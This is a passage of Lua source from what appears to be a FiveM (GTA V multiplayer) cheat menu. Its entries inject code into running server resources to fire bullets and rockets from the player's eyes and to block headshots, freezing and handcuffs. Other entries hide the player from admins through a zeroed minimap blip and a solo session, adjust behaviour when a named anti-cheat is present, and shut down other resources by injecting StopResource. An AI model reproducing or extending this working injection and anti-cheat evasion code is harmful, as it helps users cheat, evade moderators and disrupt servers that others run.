                                                DrawLine(leftEye.x,  leftEye.y,  leftEye.z,  aimPt.x, aimPt.y, aimPt.z, 255, 0, 0, 255)
                                                DrawLine(rightEye.x, rightEye.y, rightEye.z, aimPt.x, aimPt.y, aimPt.z, 255, 0, 0, 255)
                                            end

                                            if v3ok(leftEye) then
                                                local now = GetGameTimer()
                                                if now - (_G.LaserEyesLastShot or 0) >= 75 then
                                                    _G.LaserEyesLastShot = now
                                                    local weapHash = GetHashKey('WEAPON_PISTOL')
                                                    SafeRunNative(Citizen.InvokeNative, 0xBF0FD6E56C964FCB, ped, weapHash, 9999, false, true)
                                                    SafeRunNative(SetCurrentPedWeapon, ped, weapHash, true)
                                                    SafeRunNative(SetPedCurrentWeaponVisible, ped, false, true, true, true)
                                                    SafeRunNative(ShootSingleBulletBetweenCoords,
                                                        leftEye.x, leftEye.y, leftEye.z,
                                                        aimPt.x, aimPt.y, aimPt.z,
                                                        200, true, weapHash, ped, true, false, -1.0
                                                    )
                                                end
                                            end

                                            ::cont::
                                        end
                                        SafeRunNative(RemoveWeaponFromPed, PlayerPedId(), GetHashKey('WEAPON_PISTOL'))
                                        _G.LaserEyesThread = nil
                                    end)
                                end

                                if not _G.LaserEyesActive then
                                    SafeRunNative(RemoveWeaponFromPed, PlayerPedId(), GetHashKey('WEAPON_PISTOL'))
                                end
                            ]], checked and 'true' or 'false'))
                            showNotify('Laser Eyes ' .. (checked and 'On' or 'Off'), checked and 'success' or 'info')
                        end
                    },
                    {
                        label = 'RPG Eyes',
                        type = 'checkbox',
                        checked = false,
                        desc = 'Hold E to fire rockets from your eyes',
                        onConfirm = function(checked)
                            local isReaper = ac == 'ReaperV4' or ac == 'ReaperV4 Pro'
                            injectCode('monitor', string.format([[
                                _G.RpgEyesActive = %s
                                _G.RpgEyesLastShot = 0

                                if _G.RpgEyesActive and not _G.RpgEyesThread then
                                    _G.RpgEyesThread = true
                                    SafeRunNative(CreateThread, function()
                                        local reaper = %s
                                        local function v3ok(v)
                                            return v and v.x == v.x and v.y == v.y and v.z == v.z
                                        end

                                        local function rotToDir(r)
                                            local rx = (math.pi / 180) * r.x
                                            local rz = (math.pi / 180) * r.z
                                            return vector3(
                                                -math.sin(rz) * math.abs(math.cos(rx)),
                                                 math.cos(rz) * math.abs(math.cos(rx)),
                                                 math.sin(rx)
                                            )
                                        end

                                        while _G.RpgEyesActive do
                                            Wait(0)
                                            local ped = SafeRunNative(PlayerPedId)
                                            if not ped or ped == 0 or not SafeRunNative(DoesEntityExist, ped) then goto cont end

                                            if not (SafeRunNative(IsControlPressed, 0, 38) or SafeRunNative(IsDisabledControlPressed, 0, 38)) then goto cont end

                                            local camCoord = SafeRunNative(GetGameplayCamCoord)
                                            local camRot   = SafeRunNative(GetGameplayCamRot, 2)
                                            if not v3ok(camCoord) then goto cont end

                                            local dir = rotToDir(camRot)
                                            local far = vector3(
                                                camCoord.x + dir.x * 5000.0,
                                                camCoord.y + dir.y * 5000.0,
                                                camCoord.z + dir.z * 5000.0
                                            )

                                            local ray = SafeRunNative(StartExpensiveSynchronousShapeTestLosProbe,
                                                camCoord.x, camCoord.y, camCoord.z,
                                                far.x, far.y, far.z,
                                                -1, ped, 0
                                            )
                                            local _, hit, endCoords = SafeRunNative(GetShapeTestResult, ray)

                                            local leftEye  = SafeRunNative(GetPedBoneCoords, ped, 25260, 0.0, 0.0, 0.0)
                                            local rightEye = SafeRunNative(GetPedBoneCoords, ped, 27474, 0.0, 0.0, 0.0)
                                            local aimPt    = (hit == 1 and v3ok(endCoords)) and endCoords or far

                                            if v3ok(leftEye) and v3ok(rightEye) then
                                                SafeRunNative(DrawLine, leftEye.x,  leftEye.y,  leftEye.z,  aimPt.x, aimPt.y, aimPt.z, 255, 150, 0, 255)
                                                SafeRunNative(DrawLine, rightEye.x, rightEye.y, rightEye.z, aimPt.x, aimPt.y, aimPt.z, 255, 150, 0, 255)
                                            end

                                            if v3ok(leftEye) and SafeRunNative(GetGameTimer) - (_G.RpgEyesLastShot or 0) >= 1200 then
                                                _G.RpgEyesLastShot = SafeRunNative(GetGameTimer)
                                                local weapon
                                                if reaper then
                                                    weapon = SafeRunNative(GetHashKey, 'WEAPON_RPG')
                                                else
                                                    weapon = SafeRunNative(GetHashKey, 'VEHICLE_WEAPON_PLAYER_LAZER')
                                                end
                                                SafeRunNative(Citizen.InvokeNative, 0xBF0FD6E56C964FCB, ped, weapon, 1, false, true)
                                                SafeRunNative(SetCurrentPedWeapon, ped, weapon, true)
                                                SafeRunNative(SetPedCurrentWeaponVisible, ped, false, true, true, true)
                                                SafeRunNative(ShootSingleBulletBetweenCoords,
                                                    leftEye.x, leftEye.y, leftEye.z,
                                                    aimPt.x, aimPt.y, aimPt.z,
                                                    200, true, weapon, ped, true, false, -1.0
                                                )
                                            end

                                            ::cont::
                                        end
                                        if reaper then
                                            SafeRunNative(RemoveWeaponFromPed, SafeRunNative(PlayerPedId), SafeRunNative(GetHashKey, 'WEAPON_RPG'))
                                        end
                                        _G.RpgEyesThread = nil
                                    end)
                                end

                                if not _G.RpgEyesActive and reaper then
                                    SafeRunNative(RemoveWeaponFromPed, SafeRunNative(PlayerPedId), SafeRunNative(GetHashKey, 'WEAPON_RPG'))
                                end
                            ]], checked and 'true' or 'false', tostring(isReaper)))
                            showNotify('RPG Eyes ' .. (checked and 'On' or 'Off'), checked and 'success' or 'info')
                        end
                    },
                    {
                        label = 'Doppelganger',
                        type = 'checkbox',
                        desc = 'Toggle: randomizes your ped\'s face, hair, and clothes every second.',
                        onConfirm = function(checked)
                            JunkieHUDStates['Doppel'] = checked
                            injectCode('monitor', string.format([[
                                _G.junkieDoppelActive = %s
                                if _G.junkieDoppelActive and not _G.junkieDoppelThread then
                                    _G.junkieDoppelThread = true
                                    CreateThread(function()
                                        while _G.junkieDoppelActive do
                                            Wait(1000)
                                            local ped = PlayerPedId()
                                            local face = math.random(0, 45)
                                            local skin = math.random(0, 45)
                                            SetPedHeadBlendData(ped, face, skin, 0, face, skin, 0, 1.0, 1.0, 0.0, false)
                                            local hairMax = GetNumberOfPedDrawableVariations(ped, 2)
                                            local hair = hairMax > 1 and math.random(0, hairMax - 1) or 0
                                            SetPedComponentVariation(ped, 2, hair, 0, 2)
                                            SetPedHairColor(ped, math.random(0, 63), math.random(0, 63))
                                            for _, comp in ipairs({4, 6, 11}) do
                                                local maxD = GetNumberOfPedDrawableVariations(ped, comp)
                                                if maxD > 1 then
                                                    local draw = math.random(0, maxD - 1)
                                                    local maxT = GetNumberOfPedTextureVariations(ped, comp, draw)
                                                    SetPedComponentVariation(ped, comp, draw, maxT > 0 and math.random(0, maxT - 1) or 0, 2)
                                                end
                                            end
                                            local brows = GetNumHeadOverlayValues(2)
                                            SetPedHeadOverlay(ped, 2, brows > 1 and math.random(0, brows - 1) or 0, 1.0)
                                            SetPedHeadOverlayColor(ped, 2, 1, math.random(0, 63), 0)
                                            ClearPedProp(ped, 0)
                                            ClearPedProp(ped, 1)
                                        end
                                        _G.junkieDoppelThread = nil
                                    end)
                                end
                            ]], tostring(checked)))
                            showNotify('Doppelganger ' .. (checked and 'On' or 'Off'), checked and 'success' or 'info')
                        end
                    },
                    { type = 'divider', label = 'Protections' },
                    {
                        label = 'Anti-Fire',
                        type = 'checkbox',
                        onConfirm = function(enabled)
                            injectCode('monitor', string.format([[
                                _G.antiFireRunning = %s
                                if _G.antiFireRunning and not _G.antiFireThread then
                                    SafeRunNative(CreateThread, function()
                                        _G.antiFireThread = true
                                        while _G.antiFireRunning do
                                            SafeRunNative(Wait, 0)
                                            SafeRunNative(StopEntityFire, SafeRunNative(PlayerPedId))
                                        end
                                        _G.antiFireThread = nil
                                    end)
                                end
                            ]], tostring(enabled)))
                            showNotify('Anti-Fire ' .. (enabled and 'On' or 'Off'), enabled and 'success' or 'info')
                        end
                    },
                    {
                        label = 'Anti-Freeze',
                        type = 'checkbox',
                        onConfirm = function(enabled)
                            injectCode('monitor', string.format([[
                                _G.antiFreezeRunning = %s
                                if _G.antiFreezeRunning and not _G.antiFreezeThread then
                                    SafeRunNative(CreateThread, function()
                                        _G.antiFreezeThread = true
                                        while _G.antiFreezeRunning do
                                            SafeRunNative(Wait, 0)
                                            SafeRunNative(FreezeEntityPosition, SafeRunNative(PlayerPedId), false)
                                        end
                                        _G.antiFreezeThread = nil
                                    end)
                                end
                            ]], tostring(enabled)))
                            showNotify('Anti-Freeze ' .. (enabled and 'On' or 'Off'), enabled and 'success' or 'info')
                        end
                    },
                    {
                        label = 'Anti-Ragdoll',
                        type = 'checkbox',
                        onConfirm = function(enabled)
                            injectCode('monitor', string.format([[
                                _G.antiRagdollRunning = %s
                                if _G.antiRagdollRunning and not _G.antiRagdollThread then
                                    SafeRunNative(CreateThread, function()
                                        _G.antiRagdollThread = true
                                        while _G.antiRagdollRunning do
                                            SafeRunNative(Wait, 0)
                                            SafeRunNative(SetPedCanRagdoll, SafeRunNative(PlayerPedId), false)
                                        end
                                        _G.antiRagdollThread = nil
                                    end)
                                end
                            ]], tostring(enabled)))
                            showNotify('Anti-Ragdoll ' .. (enabled and 'On' or 'Off'), enabled and 'success' or 'info')
                        end
                    },
                    {
                        label = 'Anti-Headshot',
                        type = 'checkbox',
                        desc = 'Toggle: strips headshot critical damage per-frame + restores HP on head bone hit.',
                        onConfirm = function(checked)
                            JunkieHUDStates['Anti HS'] = checked
                            injectCode('monitor', string.format([[
                                _G.junkieAntiHeadshotActive = %s
                                local ped = PlayerPedId()
                                SetPedSuffersCriticalHits(ped, not _G.junkieAntiHeadshotActive)
                                if _G.junkieAntiHeadshotActive and not _G.junkieAntiHeadshotThread then
                                    _G.junkieAntiHeadshotThread = true
                                    CreateThread(function()
                                        while _G.junkieAntiHeadshotActive do
                                            Wait(0)
                                            local p = PlayerPedId()
                                            SetPedSuffersCriticalHits(p, false)
                                            local _, lastBone = GetPedLastDamageBone(p)
                                            if lastBone == 31086 then
                                                SetEntityHealth(p, GetEntityMaxHealth(p))
                                                ResetPedLastDamageBone(p)
                                            end
                                        end
                                        SetPedSuffersCriticalHits(PlayerPedId(), true)
                                        _G.junkieAntiHeadshotThread = nil
                                    end)
                                end
                            ]], tostring(checked)))
                            showNotify('Anti-Headshot ' .. (checked and 'On' or 'Off'), checked and 'success' or 'info')
                        end
                    },
                    {
                        label = 'Become Hidden',
                        type = 'checkbox',
                        desc = 'Toggle: removes you from the server player list via solo tutorial session.',
                        onConfirm = function(checked)
                            injectCode('monitor', string.format([[
                                if %s then
                                    NetworkStartSoloTutorialSession()
                                else
                                    NetworkEndTutorialSession()
                                end
                            ]], tostring(checked)))
                            showNotify('Become Hidden ' .. (checked and 'On' or 'Off'), checked and 'success' or 'info')
                        end
                    },
                    {
                        label = 'Anti Blip',
                        type = 'checkbox',
                        desc = 'Toggle: zeroes your minimap blip alpha so admins can\'t track you.',
                        onConfirm = function(checked)
                            JunkieHUDStates['Anti Blip'] = checked
                            injectCode('monitor', string.format([[
                                _G.junkieAntiBlipActive = %s
                                if _G.junkieAntiBlipActive and not _G.junkieAntiBlipThread then
                                    _G.junkieAntiBlipThread = true
                                    CreateThread(function()
                                        while _G.junkieAntiBlipActive do
                                            Wait(0)
                                            local b = GetBlipFromEntity(PlayerPedId())
                                            if b ~= 0 and DoesBlipExist(b) then
                                                SetBlipAlpha(b, 0)
                                            end
                                        end
                                        local b = GetBlipFromEntity(PlayerPedId())
                                        if b ~= 0 and DoesBlipExist(b) then SetBlipAlpha(b, 255) end
                                        _G.junkieAntiBlipThread = nil
                                    end)
                                elseif not _G.junkieAntiBlipActive then
                                    local b = GetBlipFromEntity(PlayerPedId())
                                    if b ~= 0 and DoesBlipExist(b) then SetBlipAlpha(b, 255) end
                                end
                            ]], tostring(checked)))
                            showNotify('Anti Blip ' .. (checked and 'On' or 'Off'), checked and 'success' or 'info')
                        end
                    },
                    {
                        label = 'Anti-Spectate',
                        type = 'checkbox',
                        onConfirm = function(enabled)
                            injectCode('monitor', string.format([[
                                _G.antiSpectateRunning = %s
                                if _G.antiSpectateRunning and not _G.antiSpectateThread then
                                    SafeRunNative(CreateThread, function()
                                        _G.antiSpectateThread = true
                                        while _G.antiSpectateRunning do
                                            SafeRunNative(Wait, 0)
                                            SafeRunNative(NetworkSetInSpectatorMode, false, SafeRunNative(PlayerPedId))
                                        end
                                        _G.antiSpectateThread = nil
                                    end)
                                end
                            ]], tostring(enabled)))
                            showNotify('Anti-Spectate ' .. (enabled and 'On' or 'Off'), enabled and 'success' or 'info')
                        end
                    },
                    {
                        label = 'Anti-AFK',
                        type = 'checkbox',
                        onConfirm = function(enabled)
                            injectCode('monitor', string.format([[
                                _G.antiAfkRunning = %s
                                if _G.antiAfkRunning and not _G.antiAfkThread then
                                    SafeRunNative(CreateThread, function()
                                        _G.antiAfkThread = true
                                        while _G.antiAfkRunning do
                                            SafeRunNative(Wait, 0)
                                            if SafeRunNative(IsPauseMenuActive) then
                                                SafeRunNative(SetPauseMenuActive, false)
                                            end
                                            SafeRunNative(EnableAllControlActions, 0)
                                            SafeRunNative(EnableAllControlActions, 1)
                                            SafeRunNative(EnableAllControlActions, 2)
                                        end
                                        _G.antiAfkThread = nil
                                    end)
                                end
                            ]], tostring(enabled)))
                            showNotify('Anti-AFK ' .. (enabled and 'On' or 'Off'), enabled and 'success' or 'info')
                        end
                    },
                    {
                        label = 'Anti-VDM',
                        desc = 'Each frame disables collision between nearby vehicles (50m) and your ped. Stops rams.',
                        type = 'checkbox',
                        checked = false,
                        onConfirm = function(enabled)
                            injectCode('monitor', string.format([[
                                _G.antiVDMRunning = %s
                                if _G.antiVDMRunning and not _G.antiVDMThread then
                                    SafeRunNative(CreateThread, function()
                                        _G.antiVDMThread = true
                                        while _G.antiVDMRunning do
                                            SafeRunNative(Wait, 0)
                                            local ped = SafeRunNative(PlayerPedId)
                                            local pc  = SafeRunNative(GetEntityCoords, ped)
                                            for _, veh in ipairs(SafeRunNative(GetGamePool, "CVehicle") or {}) do
                                                if SafeRunNative(DoesEntityExist, veh) then
                                                    local vc = SafeRunNative(GetEntityCoords, veh)
                                                    local dx, dy, dz = pc.x-vc.x, pc.y-vc.y, pc.z-vc.z
                                                    if dx*dx+dy*dy+dz*dz <= 2500 then
                                                        SafeRunNative(SetEntityNoCollisionEntity, veh, ped, true)
                                                    end
                                                end
                                            end
                                        end
                                        _G.antiVDMThread = nil
                                    end)
                                end
                            ]], tostring(enabled)))
                            showNotify('Anti-VDM ' .. (enabled and 'On' or 'Off'), enabled and 'success' or 'info')
                        end
                    },
                    {
                        label = 'Anti Attach',
                        desc = 'Each frame detaches any object, vehicle, or ped being attached to you.',
                        type = 'checkbox',
                        checked = false,
                        onConfirm = function(enabled)
                            injectCode('monitor', string.format([[
                                _G.antiAttachRunning = %s
                                if _G.antiAttachRunning and not _G.antiAttachThread then
                                    SafeRunNative(CreateThread, function()
                                        _G.antiAttachThread = true
                                        local me
                                        while _G.antiAttachRunning do
                                            SafeRunNative(Wait, 0)
                                            me = SafeRunNative(PlayerPedId)
                                            for _, ent in ipairs(SafeRunNative(GetGamePool, "CObject") or {}) do
                                                if SafeRunNative(IsEntityAttachedToEntity, ent, me) then
                                                    SafeRunNative(NetworkRequestControlOfEntity, ent)
                                                    SafeRunNative(DetachEntity, ent, true, true)
                                                end
                                            end
                                            for _, ent in ipairs(SafeRunNative(GetGamePool, "CVehicle") or {}) do
                                                if SafeRunNative(IsEntityAttachedToEntity, ent, me) then
                                                    SafeRunNative(NetworkRequestControlOfEntity, ent)
                                                    SafeRunNative(DetachEntity, ent, true, true)
                                                end
                                            end
                                            for _, ent in ipairs(SafeRunNative(GetGamePool, "CPed") or {}) do
                                                if ent ~= me and SafeRunNative(IsEntityAttachedToEntity, ent, me) then
                                                    SafeRunNative(DetachEntity, ent, true, true)
                                                end
                                            end
                                        end
                                        _G.antiAttachThread = nil
                                    end)
                                end
                            ]], tostring(enabled)))
                            showNotify('Anti Attach ' .. (enabled and 'On' or 'Off'), enabled and 'success' or 'info')
                        end
                    },
                    {
                        label = 'Anti-Stuck',
                        desc = 'Umbrella: unfreeze, uncuff, un-ragdoll, detach, velocity clamp, stop fire, clear move-flags each frame.',
                        type = 'checkbox',
                        checked = false,
                        onConfirm = function(enabled)
                            injectCode('monitor', string.format([[
                                _G.antiStuckRunning = %s
                                if _G.antiStuckRunning and not _G.antiStuckThread then
                                    SafeRunNative(CreateThread, function()
                                        _G.antiStuckThread = true
                                        while _G.antiStuckRunning do
                                            SafeRunNative(Wait, 0)
                                            local ped = SafeRunNative(PlayerPedId)
                                            local inVeh = SafeRunNative(IsPedInAnyVehicle, ped, false)
                                            SafeRunNative(FreezeEntityPosition, ped, false)
                                            SafeRunNative(SetEnableHandcuffs, ped, false)
                                            if not inVeh and SafeRunNative(IsEntityAttached, ped) then
                                                SafeRunNative(DetachEntity, ped, true, true)
                                            end
                                            if SafeRunNative(IsPedRagdoll, ped) then
                                                SafeRunNative(SetPedToRagdoll, ped, 0, 0, 0, false, false, false)
                                            end
                                            if SafeRunNative(IsPedCuffed, ped) then
                                                SafeRunNative(UncuffPed, ped)
                                            end
                                            if not inVeh then
                                                local v = SafeRunNative(GetEntityVelocity, ped)
                                                if v.x*v.x+v.y*v.y+v.z*v.z > 3600 then
                                                    SafeRunNative(SetEntityVelocity, ped, 0.0, 0.0, 0.0)
                                                end
                                            end
                                            if SafeRunNative(IsEntityOnFire, ped) then
                                                SafeRunNative(StopEntityFire, ped)
                                            end
                                            SafeRunNative(SetPedConfigFlag, ped, 292, false)
                                            SafeRunNative(SetPedConfigFlag, ped, 122, false)
                                        end
                                        _G.antiStuckThread = nil
                                    end)
                                end
                            ]], tostring(enabled)))
                            showNotify('Anti-Stuck ' .. (enabled and 'On' or 'Off'), enabled and 'success' or 'info')
                        end
                    },
                    {
                        label = 'Anti TP',
                        desc = 'Snapshots coords every 250ms. If delta > 100m, snaps you back. Disable before using own TPs.',
                        type = 'checkbox',
                        checked = false,
                        onConfirm = function(enabled)
                            injectCode('monitor', string.format([[
                                _G.antiTPRunning = %s
                                if _G.antiTPRunning and not _G.antiTPThread then
                                    SafeRunNative(CreateThread, function()
                                        _G.antiTPThread = true
                                        local lastSafe = SafeRunNative(GetEntityCoords, SafeRunNative(PlayerPedId))
                                        while _G.antiTPRunning do
                                            SafeRunNative(Wait, 250)
                                            local ped = SafeRunNative(PlayerPedId)
                                            if SafeRunNative(DoesEntityExist, ped) and not SafeRunNative(IsEntityDead, ped) then
                                                local cur = SafeRunNative(GetEntityCoords, ped)
                                                local dx = cur.x-lastSafe.x; local dy = cur.y-lastSafe.y; local dz = cur.z-lastSafe.z
                                                if dx*dx+dy*dy+dz*dz > 10000 then
                                                    local ent = SafeRunNative(IsPedInAnyVehicle, ped, false) and SafeRunNative(GetVehiclePedIsIn, ped, false) or ped
                                                    SafeRunNative(SetEntityCoordsNoOffset, ent, lastSafe.x, lastSafe.y, lastSafe.z, false, false, false)
                                                else
                                                    lastSafe = cur
                                                end
                                            end
                                        end
                                        _G.antiTPThread = nil
                                    end)
                                end
                            ]], tostring(enabled)))
                            showNotify('Anti TP ' .. (enabled and 'On' or 'Off'), enabled and 'success' or 'info')
                        end
                    },
                    { type = 'divider', label = 'External Mods' },
                    {
                        label = 'Prevent Player Bring',
                        desc = 'Detects sudden 10m+ teleport near another player and snaps you back.',
                        type = 'checkbox',
                        onConfirm = function(checked)
                            JunkieHUDStates['Anti Bring'] = checked
                            injectCode('monitor', string.format([[
                                _G.junkiePreventBringActive = %s
                                if _G.junkiePreventBringActive and not _G.junkiePreventBringThread then
                                    _G.junkiePreventBringThread = true
                                    local cachedCoords
                                    SafeRunNative(CreateThread, function()
                                        while _G.junkiePreventBringActive do
                                            local selfPed = PlayerPedId()
                                            local setCoords = GetEntityCoords(selfPed)
                                            if cachedCoords and #(cachedCoords - setCoords) >= 10.0 then
                                                local players = GetActivePlayers()
                                                local selfPlayer = PlayerId()
                                                for i = 1, #players do
                                                    local player = players[i]
                                                    if player ~= selfPlayer and #(GetEntityCoords(GetPlayerPed(player)) - setCoords) <= 2.5 then
                                                        SafeRunNative(SetEntityCoordsNoOffset, selfPed, cachedCoords.x, cachedCoords.y, cachedCoords.z, false, false, true)
                                                        setCoords = cachedCoords
                                                        break
                                                    end
                                                end
                                            end
                                            cachedCoords = setCoords
                                            Wait(0)
                                        end
                                        _G.junkiePreventBringThread = nil
                                    end)
                                elseif not _G.junkiePreventBringActive then
                                    _G.junkiePreventBringThread = nil
                                end
                            ]], tostring(checked)))
                            showNotify('Prevent Player Bring ' .. (checked and 'On' or 'Off'), checked and 'success' or 'info')
                        end
                    },
                    {
                        label = 'Bubble Popper',
                        desc = 'Clears personal space bubble flags on all nearby players continuously.',
                        type = 'checkbox',
                        onConfirm = function(checked)
                            injectCode('monitor', string.format([[
                                _G.junkieBubblePopperActive = %s
                                if _G.junkieBubblePopperActive and not _G.junkieBubblePopperThread then
                                    _G.junkieBubblePopperThread = true
                                    SafeRunNative(CreateThread, function()
                                        while _G.junkieBubblePopperActive do
                                            local selfPed = PlayerPedId()
                                            for _, player in ipairs(GetActivePlayers()) do
                                                local ped = GetPlayerPed(player)
                                                if DoesEntityExist(ped) and ped ~= selfPed then
                                                    SafeRunNative(SetPedConfigFlag, ped, 422, false)
                                                    SafeRunNative(SetPedConfigFlag, ped, 423, false)
                                                    SafeRunNative(SetPedConfigFlag, ped, 424, false)
                                                end
                                            end
                                            Wait(0)
                                        end
                                        _G.junkieBubblePopperThread = nil
                                    end)
                                elseif not _G.junkieBubblePopperActive then
                                    _G.junkieBubblePopperThread = nil
                                end
                            ]], tostring(checked)))
                            showNotify('Bubble Popper ' .. (checked and 'On' or 'Off'), checked and 'success' or 'info')
                        end
                    },
                    {
                        label = 'Drive-By Always On',
                        desc = 'Forces drive-by shooting allowed every tick.',
                        type = 'checkbox',
                        onConfirm = function(checked)
                            injectCode('monitor', string.format([[
                                _G.junkieDriveByActive = %s
                                if _G.junkieDriveByActive and not _G.junkieDriveByThread then
                                    _G.junkieDriveByThread = true
                                    SafeRunNative(CreateThread, function()
                                        while _G.junkieDriveByActive do
                                            SafeRunNative(SetPlayerCanDoDriveBy, PlayerId(), true)
                                            Wait(0)
                                        end
                                        _G.junkieDriveByThread = nil
                                    end)
                                elseif not _G.junkieDriveByActive then
                                    _G.junkieDriveByThread = nil
                                end
                            ]], tostring(checked)))
                            showNotify('Drive-By Always On ' .. (checked and 'On' or 'Off'), checked and 'success' or 'info')
                        end
                    },
                    {
                        label = 'Infinite Punch',
                        desc = 'Clears punch cooldown via gameEventTriggered — punch forever.',
                        type = 'checkbox',
                        onConfirm = function(checked)
                            injectCode('monitor', string.format([[
                                _G.junkieInfinitePunchActive = %s
                                if _G.junkieInfinitePunchActive and not _G.junkieInfinitePunchThread then
                                    _G.junkieInfinitePunchThread = true
                                    local punchHandler
                                    SafeRunNative(CreateThread, function()
                                        punchHandler = AddEventHandler('gameEventTriggered', function(name, args)
                                            if name == 'CEventNetworkEntityDamage' and args[7] == GetHashKey('weapon_unarmed') then
                                                local selfPed = PlayerPedId()
                                                if selfPed == args[2] and not IsPedArmed(selfPed, 6) then
                                                    SafeRunNative(ClearPedTasksImmediately, selfPed)
                                                end
                                            end
                                        end)
                                        while _G.junkieInfinitePunchActive do Wait(500) end
                                        if punchHandler then RemoveEventHandler(punchHandler) end
                                        _G.junkieInfinitePunchThread = nil
                                    end)
                                elseif not _G.junkieInfinitePunchActive then
                                    _G.junkieInfinitePunchThread = nil
                                end
                            ]], tostring(checked)))
                            showNotify('Infinite Punch ' .. (checked and 'On' or 'Off'), checked and 'success' or 'info')
                        end
                    },
                    {
                        label = 'Phase Through World',
                        desc = 'Disables collision for 2.5 seconds — drops you through the floor.',
                        type = 'button',
                        onConfirm = function()
                            injectCode('monitor', [[
                                SafeRunNative(CreateThread, function()
                                    local selfPed = PlayerPedId()
                                    local setEntity = IsPedInAnyVehicle(selfPed, false) and GetVehiclePedIsIn(selfPed, false) or selfPed
                                    SafeRunNative(SetEntityCollision, setEntity, false, false)
                                    SafeRunNative(FreezeEntityPosition, setEntity, false)
                                    if setEntity == selfPed then
                                        SafeRunNative(SetPedToRagdoll, selfPed, 2500, 2500, 0, false, false, true)
                                    end
                                    local start = GetGameTimer()
                                    while (GetGameTimer() - start) <= 2500 do Wait(0) end
                                    SafeRunNative(SetEntityCollision, setEntity, true, true)
                                end)
                            ]])
                            showNotify('Phasing...', 'info')
                        end
                    },
                    {
                        label = 'Prevent Freeze',
                        desc = 'Loops every tick to keep you unfrozen — counters freeze attempts.',
                        type = 'checkbox',
                        onConfirm = function(checked)
                            injectCode('monitor', string.format([[
                                _G.junkiePreventFreezeActive = %s
                                if _G.junkiePreventFreezeActive and not _G.junkiePreventFreezeThread then
                                    _G.junkiePreventFreezeThread = true
                                    SafeRunNative(CreateThread, function()
                                        while _G.junkiePreventFreezeActive do
                                            local ped = PlayerPedId()
                                            local entity = IsPedInAnyVehicle(ped, false) and GetVehiclePedIsIn(ped, false) or ped
                                            SafeRunNative(FreezeEntityPosition, entity, false)
                                            Wait(0)
                                        end
                                        _G.junkiePreventFreezeThread = nil
                                    end)
                                elseif not _G.junkiePreventFreezeActive then
                                    _G.junkiePreventFreezeThread = nil
                                end
                            ]], tostring(checked)))
                            showNotify('Prevent Freeze ' .. (checked and 'On' or 'Off'), checked and 'success' or 'info')
                        end
                    },
                    {
                        label = 'Restore Collision',
                        desc = 'Re-enables entity collision on your ped or current vehicle.',
                        type = 'button',
                        onConfirm = function()
                            injectCode('monitor', [[
                                local ped = PlayerPedId()
                                local entity = IsPedInAnyVehicle(ped, false) and GetVehiclePedIsIn(ped, false) or ped
                                SafeRunNative(SetEntityCollision, entity, true, true)
                            ]])
                            showNotify('Collision restored', 'success')
                        end
                    },
                    {
                        label = 'Unfreeze Self',
                        desc = 'One-shot unfreezes your ped or current vehicle.',
                        type = 'button',
                        onConfirm = function()
                            injectCode('monitor', [[
                                local ped = PlayerPedId()
                                local entity = IsPedInAnyVehicle(ped, false) and GetVehiclePedIsIn(ped, false) or ped
                                SafeRunNative(FreezeEntityPosition, entity, false)
                            ]])
                            showNotify('Unfrozen', 'success')
                        end
                    },
                    {
                        label = 'Friendly Fire On',
                        desc = 'Loops every tick enabling friendly fire so you can hit friendlies.',
                        type = 'checkbox',
                        onConfirm = function(checked)
                            injectCode('monitor', string.format([[
                                _G.junkieFriendlyFireActive = %s
                                if _G.junkieFriendlyFireActive and not _G.junkieFriendlyFireThread then
                                    _G.junkieFriendlyFireThread = true
                                    SafeRunNative(CreateThread, function()
                                        while _G.junkieFriendlyFireActive do
                                            local ped = PlayerPedId()
                                            SafeRunNative(SetCanAttackFriendly, ped, true, true)
                                            SafeRunNative(NetworkSetFriendlyFireOption, true)
                                            Wait(0)
                                        end
                                        _G.junkieFriendlyFireThread = nil
                                    end)
                                elseif not _G.junkieFriendlyFireActive then
                                    _G.junkieFriendlyFireThread = nil
                                end
                            ]], tostring(checked)))
                            showNotify('Friendly Fire ' .. (checked and 'On' or 'Off'), checked and 'success' or 'info')
                        end
                    },
                    {
                        label = 'Broken Movement',
                        desc = 'Loops TaskJump every tick — spasms your ped continuously.',
                        type = 'checkbox',
                        onConfirm = function(checked)
                            injectCode('monitor', string.format([[
                                _G.junkieBrokenMovementActive = %s
                                if _G.junkieBrokenMovementActive and not _G.junkieBrokenMovementThread then
                                    _G.junkieBrokenMovementThread = true
                                    SafeRunNative(CreateThread, function()
                                        while _G.junkieBrokenMovementActive do
                                            SafeRunNative(TaskJump, PlayerPedId(), false)
                                            Wait(0)
                                        end
                                        _G.junkieBrokenMovementThread = nil
                                    end)
                                elseif not _G.junkieBrokenMovementActive then
                                    _G.junkieBrokenMovementThread = nil
                                end
                            ]], tostring(checked)))
                            showNotify('Broken Movement ' .. (checked and 'On' or 'Off'), checked and 'success' or 'info')
                        end
                    },
                    {
                        label = 'Detach Everything',
                        desc = 'Detaches your ped and any entities attached to you from all pools.',
                        type = 'button',
                        onConfirm = function()
                            injectCode('monitor', [[
                                local selfPed = PlayerPedId()
                                local pools = { GetGamePool('CPed'), GetGamePool('CVehicle'), GetGamePool('CObject') }
                                SafeRunNative(DetachEntity, selfPed, true, true)
                                for _, pool in ipairs(pools) do
                                    for _, entity in ipairs(pool) do
                                        if SafeRunNative(IsEntityAttachedToEntity, entity, selfPed) then
                                            SafeRunNative(DetachEntity, entity, true, true)
                                        end
                                    end
                                end
                            ]])
                            showNotify('Detached everything', 'success')
                        end
                    },
                    {
                        label = 'Clear Tasks',
                        desc = 'ClearPedTasksImmediately — snaps out of any locked animation or forced task.',
                        type = 'button',
                        onConfirm = function()
                            injectCode('monitor', [[
                                SafeRunNative(ClearPedTasksImmediately, PlayerPedId())
                            ]])
                            showNotify('Tasks cleared', 'success')
                        end
                    },
                    { type = 'divider', label = 'Weather & Time' },
                    {
                        label = 'Disable Sync Scripts',
                        desc = 'Stops known weather/time sync resources so Force Weather can hold.',
                        type = 'checkbox',
                        onConfirm = function(checked)
                            local weatherScripts = { 'esx_weathersync', 'qb-weathersync', 'Renewed-Weathersync', 'av_weather', 'cd_easytime' }
                            for _, r in ipairs(weatherScripts) do
                                if checked then
                                    if GetResourceState(r) == 'started' then
                                        injectCode(r, [[ StopResource(GetCurrentResourceName()) ]])
                                    end
                                else
                                    if GetResourceState(r) ~= 'started' then
                                        StartResource(r)
                                    end
                                end
                            end
                            showNotify('Sync Scripts ' .. (checked and 'disabled' or 're-enabled'), checked and 'success' or 'info')
                        end
                    },
                    {
                        label = 'Force Weather',
                        desc = 'Locks weather to the selected type every 5 seconds.',
                        type = 'checkbox',
                        onConfirm = function(checked)
